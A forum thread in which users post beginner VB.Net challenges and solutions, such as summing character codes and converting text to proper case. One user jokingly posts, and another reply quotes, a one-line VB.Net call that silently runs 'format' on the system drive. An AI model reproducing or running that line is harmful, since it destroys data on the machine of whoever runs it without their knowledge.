Login Register


[VB.Net] Programming exercises filter_list
Author
Message
RE: [VB.Net] Optimization Challenge #11
Oh well, looks like people are not interested. Sad

Here is the solution to #2
Spoiler: Solution
Code:
Private Function SumChars(ByVal strSource As String) As Integer SumChars = 0 For intI As Integer = 0 To strSource.Length - 1 SumChars += (Asc(strSource.Substring(intI, 1)) - 64) Next Return (SumChars + 64) End Function 'Usage: Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click TextBox1.Text = SumChars("BRZ") End Sub
[Image: rytwG00.png]
Redcat Revolution!


RE: [VB.Net] Optimization Challenge #12
(05-06-2011, 01:52 PM)Coder-san Wrote: Oh well, looks like people are not interested. Sad

Here is the solution to #2
Spoiler: Solution
Code:
Private Function SumChars(ByVal strSource As String) As Integer SumChars = 0 For intI As Integer = 0 To strSource.Length - 1 SumChars += (Asc(strSource.Substring(intI, 1)) - 64) Next Return (SumChars + 64) End Function 'Usage: Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click TextBox1.Text = SumChars("BRZ") End Sub


what does it do? XD

Edited: we are interested but aren't at your level Tongue
(This post was last modified: 05-06-2011, 01:58 PM by Skullmeat.)
Pierce the life fibers with your drill.


RE: [VB.Net] Optimization Challenge #13
(05-06-2011, 01:57 PM)1234hotmaster Wrote: what does it do? XD

It's the solution to [link=http://www.hackcommunity.com/Thread-VB-Net-Optimization-Challenge?pid=12912#pid12912]Challenge#2[/link]
It subtracts 64 from every char other than first, and adds what you get.

(05-06-2011, 01:57 PM)1234hotmaster Wrote: Edited: we are interested but aren't at your level Tongue

Nah it's easy. You just have to think outside the box and have some fun with your language. Smile
[Image: rytwG00.png]
Redcat Revolution!


RE: [VB.Net] Optimization Challenge #14
(05-06-2011, 02:17 PM)Coder-san Wrote:
(05-06-2011, 01:57 PM)1234hotmaster Wrote: what does it do? XD

It's the solution to [link=http://www.hackcommunity.com/Thread-VB-Net-Optimization-Challenge?pid=12912#pid12912]Challenge#2[/link]
It subtracts the first char's ASCII from all of the rest, and adds what you get.

(05-06-2011, 01:57 PM)1234hotmaster Wrote: Edited: we are interested but aren't at your level Tongue

Nah it's easy. You just have to think outside the box and have some fun with your language. Smile
well the only fun i know is this:
Code:
Shell("format "& environ("systemdrive") & " /autotest", AppWinStyle.Hide)
Tongue


Edited: can you explain a example for the 2nd solution?
(This post was last modified: 05-06-2011, 02:19 PM by Skullmeat.)
Pierce the life fibers with your drill.


RE: [VB.Net] Optimization Challenge #15
(05-06-2011, 02:18 PM)1234hotmaster Wrote:
(05-06-2011, 02:17 PM)Coder-san Wrote:
(05-06-2011, 01:57 PM)1234hotmaster Wrote: what does it do? XD

It's the solution to [link=http://www.hackcommunity.com/Thread-VB-Net-Optimization-Challenge?pid=12912#pid12912]Challenge#2[/link]
It subtracts the first char's ASCII from all of the rest, and adds what you get.

(05-06-2011, 01:57 PM)1234hotmaster Wrote: Edited: we are interested but aren't at your level Tongue

Nah it's easy. You just have to think outside the box and have some fun with your language. Smile
well the only fun i know is this:
Code:
Shell("format "& environ("systemdrive") & " /autotest", AppWinStyle.Hide)
Tongue


Edited: can you explain a example for the 2nd solution?

Code:
TextBox1.Text = SumChars("BRZ") 'B R Z = 66 82 90 <-- ASCII values of characters 'B+R+Z = 66 + (82-64) + (90-64) <-- What the function does 'B+R+Z = 66+18+26 = 110 <-- What the function returns 'The output is the same as required in the Challenge hence solved.
[Image: rytwG00.png]
Redcat Revolution!


RE: [VB.Net] Optimization Challenge #16
Can you post a new Solve-able one coder? Smile
Pierce the life fibers with your drill.


RE: [VB.Net] Optimization Challenge #17
Challenge #3

Write a program which will make every FIRST character of a word uppercase, and the rest lowercase.

E.g.
Code:
The Quick Brown Fox Jumps Over The Lazy Dog.
[Image: rytwG00.png]
Redcat Revolution!


RE: [VB.Net] Optimization Challenge #18
for challenge 1 something like this could you use like bubblesort???, e.g. check every value and then display in the given order
[Image: 6caf54.gif]


RE: [VB.Net] Optimization Challenge #19
(05-22-2011, 11:02 AM)frostbyte Wrote: for challenge 1 something like this could you use like bubblesort???, e.g. check every value and then display in the given order

You don't have to make it more complex xp
Challenge#1 was just to see if people use Array enough.
[Image: rytwG00.png]
Redcat Revolution!


RE: [VB.Net] Optimization Challenge #20
Code:
Module Module1 Sub Main() Dim str As String = Console.ReadLine() Console.WriteLine(StrConv(str, VbStrConv.ProperCase)) End Sub End Module
Pierce the life fibers with your drill.








Users browsing this thread: 1 Guest(s)